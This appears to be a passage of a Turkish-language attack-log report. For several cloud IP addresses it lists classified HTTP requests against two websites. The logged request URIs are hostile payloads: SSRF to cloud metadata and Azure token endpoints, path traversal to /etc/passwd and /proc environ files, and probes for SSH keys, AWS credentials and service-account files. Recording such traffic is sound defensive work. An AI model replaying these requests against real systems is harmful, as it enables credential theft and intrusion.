29/Aug/2026:14:05:18 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:18 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
29/Aug/2026:14:05:18 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
29/Aug/2026:14:05:18 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:18 +0300profesyonelweb.com.trGET404PROC_ENVIRON/static../proc/self/environ
29/Aug/2026:14:05:19 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:19 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
29/Aug/2026:14:05:19 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:19 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
29/Aug/2026:14:05:19 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
29/Aug/2026:14:05:19 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:19 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
29/Aug/2026:14:05:19 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?file=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:19 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?file=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
29/Aug/2026:14:05:19 +0300profesyonelweb.com.trGET200LOCAL_FILE_URL/read?url=file:///proc/1/environ
29/Aug/2026:14:05:19 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?src=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:19 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?src=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
29/Aug/2026:14:05:19 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:19 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:19 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:20 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/v1/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:20 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:20 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:20 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/download?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:20 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/preview?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:20 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:20 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/screenshot?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:20 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/image?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:20 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/image?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:20 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/preview?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:21 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fmanagement.azure.com%2F
29/Aug/2026:14:05:21 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fcognitiveservices.azure.com%2F
29/Aug/2026:14:05:21 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/proxy?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fcognitiveservices.azure.com%2F
29/Aug/2026:14:05:21 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/proxy?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fmanagement.azure.com%2F
29/Aug/2026:14:05:27 +0300profesyonelweb.com.trGET403PROC_ENVIRON,LOCAL_FILE_URL/read?url=file:///proc/self/environ
29/Aug/2026:14:05:27 +0300profesyonelweb.com.trGET404PROC_ENVIRON/proc/self/environ
29/Aug/2026:14:05:27 +0300profesyonelweb.com.trGET200PASSWD_FILE/files../etc/passwd
29/Aug/2026:14:05:27 +0300profesyonelweb.com.trGET200PASSWD_FILE/static../etc/passwd
29/Aug/2026:14:05:27 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
29/Aug/2026:14:05:27 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
29/Aug/2026:14:05:27 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
29/Aug/2026:14:05:27 +0300profesyonelweb.com.trGET200PASSWD_FILE/media../etc/passwd
29/Aug/2026:14:05:27 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?import&raw??
29/Aug/2026:14:05:28 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
29/Aug/2026:14:05:28 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:28 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
29/Aug/2026:14:05:28 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:28 +0300profesyonelweb.com.trGET404PROC_ENVIRON/static../proc/self/environ
29/Aug/2026:14:05:28 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:28 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
29/Aug/2026:14:05:28 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
29/Aug/2026:14:05:28 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:28 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
29/Aug/2026:14:05:29 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:29 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
29/Aug/2026:14:05:29 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?file=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:29 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?file=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
29/Aug/2026:14:05:29 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?src=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:29 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?src=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
29/Aug/2026:14:05:29 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:29 +0300profesyonelweb.com.trGET200LOCAL_FILE_URL/read?url=file:///proc/1/environ
29/Aug/2026:14:05:30 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:30 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:30 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:31 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/v1/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:31 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:31 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/download?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:31 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:31 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/preview?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:32 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/screenshot?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:32 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/image?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:32 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/image?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:32 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/preview?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
29/Aug/2026:14:05:32 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fmanagement.azure.com%2F
29/Aug/2026:14:05:32 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/proxy?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fmanagement.azure.com%2F
29/Aug/2026:14:05:32 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/proxy?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fcognitiveservices.azure.com%2F
29/Aug/2026:14:05:33 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fcognitiveservices.azure.com%2F
35.194.172.166 — 64 saldırı imzalı istek / 172 toplam istek

Prefix: 35.194.128.0/17 · Region: asia-east1

Ham HTTP delili:

Bu kaynak için sınıflandırılmış olay mevcut olmakla birlikte, kamuya açık tabloda kullanılabilecek eksiksiz zaman+metot+URL HTTP tuple kaydı ayrıştırılamadı.

34.6.235.239 — 46 saldırı imzalı istek / 171 toplam istek

Prefix: 34.6.0.0/15 · Region: europe-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
21/Aug/2026:04:06:34 +0300profesyonelweb.com.trGET200PASSWD_FILE/files../etc/passwd
21/Aug/2026:04:06:34 +0300profesyonelweb.com.trGET200PASSWD_FILE/media../etc/passwd
21/Aug/2026:04:06:34 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
21/Aug/2026:04:06:34 +0300profesyonelweb.com.trGET403PROC_ENVIRON,LOCAL_FILE_URL/read?url=file:///proc/self/environ
21/Aug/2026:04:06:34 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
21/Aug/2026:04:06:34 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:04:06:34 +0300profesyonelweb.com.trGET200PASSWD_FILE/static../etc/passwd
21/Aug/2026:04:06:34 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:04:06:34 +0300profesyonelweb.com.trGET404PROC_ENVIRON/proc/self/environ
21/Aug/2026:04:06:34 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
21/Aug/2026:04:06:34 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
21/Aug/2026:04:06:34 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
21/Aug/2026:04:06:34 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?import&raw??
21/Aug/2026:04:06:35 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:04:06:35 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
21/Aug/2026:04:06:35 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:04:06:35 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
21/Aug/2026:04:06:35 +0300profesyonelweb.com.trGET404PROC_ENVIRON/static../proc/self/environ
21/Aug/2026:04:06:35 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
21/Aug/2026:04:06:35 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:04:06:35 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
21/Aug/2026:04:06:36 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?file=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:04:06:36 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?file=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
21/Aug/2026:04:06:36 +0300profesyonelweb.com.trGET200LOCAL_FILE_URL/read?url=file:///proc/1/environ
21/Aug/2026:04:06:36 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?src=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:04:06:36 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?src=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
21/Aug/2026:04:06:36 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:04:06:36 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:04:06:36 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:04:06:36 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:04:06:36 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:04:06:36 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/v1/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:04:06:36 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/download?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:04:06:36 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:04:06:36 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/preview?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:04:06:37 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/screenshot?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:04:06:37 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/preview?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:04:06:37 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/image?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:04:06:37 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/image?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
21/Aug/2026:04:06:37 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fmanagement.azure.com%2F
34.175.3.135 — 43 saldırı imzalı istek / 361 toplam istek

Prefix: 34.175.0.0/16 · Region: europe-southwest1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
09/Aug/2026:03:55:30 +0300ergarnakliyat.comGET403AWS_CREDENTIALS/.aws/credentials
09/Aug/2026:03:55:33 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/service-account.json
09/Aug/2026:03:55:33 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/service_account.json
09/Aug/2026:03:55:33 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/firebase-service-account.json
09/Aug/2026:03:55:34 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_rsa
09/Aug/2026:03:55:34 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
09/Aug/2026:03:55:35 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_dsa
09/Aug/2026:03:55:35 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_ed25519
09/Aug/2026:03:55:38 +0300ergarnakliyat.comGET403WP_CONFIG/wp-config.php.bak
09/Aug/2026:03:55:39 +0300ergarnakliyat.comGET404WP_CONFIG/wp-config.php.old
08/Aug/2026:21:07:57 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/service-account.json
08/Aug/2026:21:07:58 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/firebase-service-account.json
08/Aug/2026:21:07:58 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/service_account.json
08/Aug/2026:21:08:00 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_ed25519
08/Aug/2026:21:08:00 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_rsa
08/Aug/2026:21:08:00 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
08/Aug/2026:21:08:01 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_dsa
08/Aug/2026:21:08:05 +0300ergarnakliyat.comGET403WP_CONFIG/wp-config.php.bak
08/Aug/2026:21:08:05 +0300ergarnakliyat.comGET404WP_CONFIG/wp-config.php.old
34.182.76.63 — 43 saldırı imzalı istek / 91 toplam istek

Prefix: 34.182.0.0/17 · Region: us-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
26/Aug/2026:18:57:28 +0300profesyonelweb.com.trGET200PASSWD_FILE/files../etc/passwd
26/Aug/2026:18:57:28 +0300profesyonelweb.com.trGET403PROC_ENVIRON,LOCAL_FILE_URL/read?url=file:///proc/self/environ
26/Aug/2026:18:57:28 +0300profesyonelweb.com.trGET404PROC_ENVIRON/proc/self/environ
26/Aug/2026:18:57:28 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
26/Aug/2026:18:57:28 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
26/Aug/2026:18:57:28 +0300profesyonelweb.com.trGET200PASSWD_FILE/static../etc/passwd
26/Aug/2026:18:57:28 +0300profesyonelweb.com.trGET200PASSWD_FILE/media../etc/passwd
26/Aug/2026:18:57:28 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?import&raw??
26/Aug/2026:18:57:28 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
26/Aug/2026:18:57:29 +0300profesyonelweb.com.trGET404PROC_ENVIRON/static../proc/self/environ
26/Aug/2026:18:57:29 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
26/Aug/2026:18:57:29 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
26/Aug/2026:18:57:29 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
26/Aug/2026:18:57:29 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
26/Aug/2026:18:57:29 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
26/Aug/2026:18:57:30 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
26/Aug/2026:18:57:30 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
26/Aug/2026:18:57:30 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
26/Aug/2026:18:57:30 +0300profesyonelweb.com.trGET200LOCAL_FILE_URL/read?url=file:///proc/1/environ
26/Aug/2026:18:57:30 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
26/Aug/2026:18:57:30 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
26/Aug/2026:18:57:30 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
26/Aug/2026:18:57:31 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?file=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
26/Aug/2026:18:57:31 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?file=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
26/Aug/2026:18:57:32 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
26/Aug/2026:18:57:32 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?src=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
26/Aug/2026:18:57:32 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?src=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
26/Aug/2026:18:57:32 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
26/Aug/2026:18:57:32 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
26/Aug/2026:18:57:32 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
26/Aug/2026:18:57:32 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/v1/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
26/Aug/2026:18:57:33 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
26/Aug/2026:18:57:33 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/download?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
26/Aug/2026:18:57:33 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
26/Aug/2026:18:57:33 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/preview?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
26/Aug/2026:18:57:33 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/screenshot?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
26/Aug/2026:18:57:33 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/image?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
26/Aug/2026:18:57:34 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/image?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
26/Aug/2026:18:57:34 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/preview?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
26/Aug/2026:18:57:34 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fmanagement.azure.com%2F
